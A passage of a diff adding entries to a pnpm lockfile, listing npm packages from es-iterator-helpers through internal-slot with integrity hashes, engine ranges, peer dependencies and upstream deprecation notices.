sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + + es-iterator-helpers@1.2.2: + resolution: {integrity: sha512-BrUQ0cPTB/IwXj23HtwHjS9n7O4h9FX94b4xc5zlTHxeLgTAdzYUDyy6KdExAl9lbN5rtfe44xpjpmj9grxs5w==} + engines: {node: '>= 0.4'} + + es-module-lexer@1.7.0: + resolution: {integrity: sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==} + + es-object-atoms@1.1.1: + resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} + engines: {node: '>= 0.4'} + + es-set-tostringtag@2.1.0: + resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} + engines: {node: '>= 0.4'} + + es-shim-unscopables@1.1.0: + resolution: {integrity: sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==} + engines: {node: '>= 0.4'} + + es-to-primitive@1.3.0: + resolution: {integrity: sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==} + engines: {node: '>= 0.4'} + + esbuild-plugins-node-modules-polyfill@1.8.1: + resolution: {integrity: sha512-7vxzmyTFDhYUNhjlciMPmp32eUafNIHiXvo8ZD22PzccnxMoGpPnsYn17gSBoFZgpRYNdCJcAWsQ60YVKgKg3A==} + engines: {node: '>=14.0.0'} + peerDependencies: + esbuild: '>=0.14.0 <=0.27.x' + + esbuild@0.17.6: + resolution: {integrity: sha512-TKFRp9TxrJDdRWfSsSERKEovm6v30iHnrjlcGhLBOtReE28Yp1VSBRfO3GTaOFMoxsNerx4TjrhzSuma9ha83Q==} + engines: {node: '>=12'} + hasBin: true + + esbuild@0.21.5: + resolution: {integrity: sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==} + engines: {node: '>=12'} + hasBin: true + + escalade@3.2.0: + resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} + engines: {node: '>=6'} + + escape-html@1.0.3: + resolution: {integrity: sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==} + + escape-string-regexp@4.0.0: + resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} + engines: {node: '>=10'} + + eslint-plugin-react-hooks@4.6.2: + resolution: {integrity: sha512-QzliNJq4GinDBcD8gPB5v0wh6g8q3SUi6EFF0x8N/BL9PoVs0atuGc47ozMRyOWAKdwaZ5OnbOEa3WR+dSGKuQ==} + engines: {node: '>=10'} + peerDependencies: + eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 + + eslint-plugin-react@7.37.5: + resolution: {integrity: sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==} + engines: {node: '>=4'} + peerDependencies: + eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7 + + eslint-scope@7.2.2: + resolution: {integrity: sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + eslint-visitor-keys@3.4.3: + resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + eslint@8.57.1: + resolution: {integrity: sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + deprecated: This version is no longer supported. Please see https://eslint.org/version-support for other options. + hasBin: true + + espree@9.6.1: + resolution: {integrity: sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + esquery@1.7.0: + resolution: {integrity: sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==} + engines: {node: '>=0.10'} + + esrecurse@4.3.0: + resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} + engines: {node: '>=4.0'} + + estraverse@5.3.0: + resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} + engines: {node: '>=4.0'} + + estree-util-attach-comments@2.1.1: + resolution: {integrity: sha512-+5Ba/xGGS6mnwFbXIuQiDPTbuTxuMCooq3arVv7gPZtYpjp+VXH/NkHAP35OOefPhNG/UGqU3vt/LTABwcHX0w==} + + estree-util-build-jsx@2.2.2: + resolution: {integrity: sha512-m56vOXcOBuaF+Igpb9OPAy7f9w9OIkb5yhjsZuaPm7HoGi4oTOQi0h2+yZ+AtKklYFZ+rPC4n0wYCJCEU1ONqg==} + + estree-util-is-identifier-name@1.1.0: + resolution: {integrity: sha512-OVJZ3fGGt9By77Ix9NhaRbzfbDV/2rx9EP7YIDJTmsZSEc5kYn2vWcNccYyahJL2uAQZK2a5Or2i0wtIKTPoRQ==} + + estree-util-is-identifier-name@2.1.0: + resolution: {integrity: sha512-bEN9VHRyXAUOjkKVQVvArFym08BTWB0aJPppZZr0UNyAqWsLaVfAqP7hbaTJjzHifmB5ebnR8Wm7r7yGN/HonQ==} + + estree-util-to-js@1.2.0: + resolution: {integrity: sha512-IzU74r1PK5IMMGZXUVZbmiu4A1uhiPgW5hm1GjcOfr4ZzHaMPpLNJjR7HjXiIOzi25nZDrgFTobHTkV5Q6ITjA==} + + estree-util-value-to-estree@1.3.0: + resolution: {integrity: sha512-Y+ughcF9jSUJvncXwqRageavjrNPAI+1M/L3BI3PyLp1nmgYTGUXU6t5z1Y7OWuThoDdhPME07bQU+d5LxdJqw==} + engines: {node: '>=12.0.0'} + + estree-util-visit@1.2.1: + resolution: {integrity: sha512-xbgqcrkIVbIG+lI/gzbvd9SGTJL4zqJKBFttUl5pP27KhAjtMKbX/mQXJ7qgyXpMgVy/zvpm0xoQQaGL8OloOw==} + + estree-walker@0.6.1: + resolution: {integrity: sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w==} + + estree-walker@2.0.2: + resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} + + estree-walker@3.0.3: + resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} + + esutils@2.0.3: + resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} + engines: {node: '>=0.10.0'} + + etag@1.8.1: + resolution: {integrity: sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==} + engines: {node: '>= 0.6'} + + eval@0.1.8: + resolution: {integrity: sha512-EzV94NYKoO09GLXGjXj9JIlXijVck4ONSr5wiCWDvhsvj5jxSrzTmRU/9C1DyB6uToszLs8aifA6NQ7lEQdvFw==} + engines: {node: '>= 0.8'} + + event-target-shim@5.0.1: + resolution: {integrity: sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==} + engines: {node: '>=6'} + + eventemitter3@4.0.7: + resolution: {integrity: sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==} + + execa@5.1.1: + resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==} + engines: {node: '>=10'} + + exit-hook@2.2.1: + resolution: {integrity: sha512-eNTPlAD67BmP31LDINZ3U7HSF8l57TxOY2PmBJ1shpCvpnxBF93mWCE8YHBnXs8qiUZJc9WDcWIeC3a2HIAMfw==} + engines: {node: '>=6'} + + express@4.22.1: + resolution: {integrity: sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g==} + engines: {node: '>= 0.10.0'} + + exsolve@1.0.8: + resolution: {integrity: sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA==} + + extend@3.0.2: + resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + + fast-json-stable-stringify@2.1.0: + resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} + + fast-levenshtein@2.0.6: + resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} + + fastq@1.20.1: + resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} + + fault@2.0.1: + resolution: {integrity: sha512-WtySTkS4OKev5JtpHXnib4Gxiurzh5NCGvWrFaZ34m6JehfTUhKZvn9njTfw48t6JumVQOmrKqpmGcdwxnhqBQ==} + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + file-entry-cache@6.0.1: + resolution: {integrity: sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==} + engines: {node: ^10.12.0 || >=12.0.0} + + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + + finalhandler@1.3.2: + resolution: {integrity: sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==} + engines: {node: '>= 0.8'} + + find-up@5.0.0: + resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} + engines: {node: '>=10'} + + flat-cache@3.2.0: + resolution: {integrity: sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==} + engines: {node: ^10.12.0 || >=12.0.0} + + flatted@3.3.3: + resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==} + + for-each@0.3.5: + resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==} + engines: {node: '>= 0.4'} + + foreground-child@3.3.1: + resolution: {integrity: sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==} + engines: {node: '>=14'} + + format@0.2.2: + resolution: {integrity: sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==} + engines: {node: '>=0.4.x'} + + forwarded@0.2.0: + resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==} + engines: {node: '>= 0.6'} + + fraction.js@5.3.4: + resolution: {integrity: sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==} + + fresh@0.5.2: + resolution: {integrity: sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==} + engines: {node: '>= 0.6'} + + fs-constants@1.0.0: + resolution: {integrity: sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==} + + fs-extra@10.1.0: + resolution: {integrity: sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==} + engines: {node: '>=12'} + + fs-minipass@2.1.0: + resolution: {integrity: sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==} + engines: {node: '>= 8'} + + fs-minipass@3.0.3: + resolution: {integrity: sha512-XUBA9XClHbnJWSfBzjkm6RvPsyg3sryZt06BEQoXcF7EK/xpGaQYJgQKDJSUH5SGZ76Y7pFx1QBnXz09rU5Fbw==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + fs.realpath@1.0.0: + resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} + + fsevents@2.3.2: + resolution: {integrity: sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + function.prototype.name@1.1.8: + resolution: {integrity: sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==} + engines: {node: '>= 0.4'} + + functions-have-names@1.2.3: + resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} + + generator-function@2.0.1: + resolution: {integrity: sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==} + engines: {node: '>= 0.4'} + + generic-names@4.0.0: + resolution: {integrity: sha512-ySFolZQfw9FoDb3ed9d80Cm9f0+r7qj+HJkWjeD9RBfpxEVTlVhol+gvaQB/78WbwYfbnNh8nWHHBSlg072y6A==} + + gensync@1.0.0-beta.2: + resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} + engines: {node: '>=6.9.0'} + + get-intrinsic@1.3.0: + resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} + engines: {node: '>= 0.4'} + + get-nonce@1.0.1: + resolution: {integrity: sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==} + engines: {node: '>=6'} + + get-port@5.1.1: + resolution: {integrity: sha512-g/Q1aTSDOxFpchXC4i8ZWvxA1lnPqx/JHqcpIw0/LX9T8x/GBbi6YnlN5nhaKIFkT8oFsscUKgDJYxfwfS6QsQ==} + engines: {node: '>=8'} + + get-proto@1.0.1: + resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} + engines: {node: '>= 0.4'} + + get-stream@6.0.1: + resolution: {integrity: sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==} + engines: {node: '>=10'} + + get-symbol-description@1.1.0: + resolution: {integrity: sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==} + engines: {node: '>= 0.4'} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + + glob-parent@6.0.2: + resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} + engines: {node: '>=10.13.0'} + + glob@10.5.0: + resolution: {integrity: sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==} + deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me + hasBin: true + + glob@7.2.3: + resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==} + deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me + + globals@13.24.0: + resolution: {integrity: sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==} + engines: {node: '>=8'} + + globalthis@1.0.4: + resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==} + engines: {node: '>= 0.4'} + + globby@11.1.0: + resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} + engines: {node: '>=10'} + + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + + graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + + graphemer@1.4.0: + resolution: {integrity: sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==} + + gunzip-maybe@1.4.2: + resolution: {integrity: sha512-4haO1M4mLO91PW57BMsDFf75UmwoRX0GkdD+Faw+Lr+r/OZrOCS0pIBwOL1xCKQqnQzbNFGgK2V2CpBUPeFNTw==} + hasBin: true + + has-bigints@1.1.0: + resolution: {integrity: sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==} + engines: {node: '>= 0.4'} + + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + + has-property-descriptors@1.0.2: + resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} + + has-proto@1.2.0: + resolution: {integrity: sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==} + engines: {node: '>= 0.4'} + + has-symbols@1.1.0: + resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} + engines: {node: '>= 0.4'} + + has-tostringtag@1.0.2: + resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} + engines: {node: '>= 0.4'} + + hasown@2.0.2: + resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} + engines: {node: '>= 0.4'} + + hast-util-to-estree@2.3.3: + resolution: {integrity: sha512-ihhPIUPxN0v0w6M5+IiAZZrn0LH2uZomeWwhn7uP7avZC6TE7lIiEh2yBMPr5+zi1aUCXq6VoYRgs2Bw9xmycQ==} + + hast-util-whitespace@2.0.1: + resolution: {integrity: sha512-nAxA0v8+vXSBDt3AnRUNjyRIQ0rD+ntpbAp4LnPkumc5M9yUbSMa4XDU9Q6etY4f1Wp4bNgvc1yjiZtsTTrSng==} + + hosted-git-info@6.1.3: + resolution: {integrity: sha512-HVJyzUrLIL1c0QmviVh5E8VGyUS7xCFPS6yydaVd1UegW+ibV/CohqTH9MkOLDp5o+rb82DMo77PTuc9F/8GKw==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + http-errors@2.0.1: + resolution: {integrity: sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==} + engines: {node: '>= 0.8'} + + human-signals@2.1.0: + resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==} + engines: {node: '>=10.17.0'} + + iconv-lite@0.4.24: + resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} + engines: {node: '>=0.10.0'} + + icss-replace-symbols@1.1.0: + resolution: {integrity: sha512-chIaY3Vh2mh2Q3RGXttaDIzeiPvaVXJ+C4DAh/w3c37SKZ/U6PGMmuicR2EQQp9bKG8zLMCl7I+PtIoOOPp8Gg==} + + icss-utils@5.1.0: + resolution: {integrity: sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + ieee754@1.2.1: + resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==} + + ignore@5.3.2: + resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} + engines: {node: '>= 4'} + + import-cwd@3.0.0: + resolution: {integrity: sha512-4pnzH16plW+hgvRECbDWpQl3cqtvSofHWh44met7ESfZ8UZOWWddm8hEyDTqREJ9RbYHY8gi8DqmaelApoOGMg==} + engines: {node: '>=8'} + + import-fresh@3.3.1: + resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} + engines: {node: '>=6'} + + import-from@3.0.0: + resolution: {integrity: sha512-CiuXOFFSzkU5x/CR0+z7T91Iht4CXgfCxVOFRhh2Zyhg5wOpWvvDLQUsWl+gcN+QscYBjez8hDCt85O7RLDttQ==} + engines: {node: '>=8'} + + imurmurhash@0.1.4: + resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} + engines: {node: '>=0.8.19'} + + indent-string@4.0.0: + resolution: {integrity: sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==} + engines: {node: '>=8'} + + inflight@1.0.6: + resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} + deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful. + + inherits@2.0.4: + resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + + inline-style-parser@0.1.1: + resolution: {integrity: sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==} + + internal-slot@1.1.0: + resolution: {integrity: 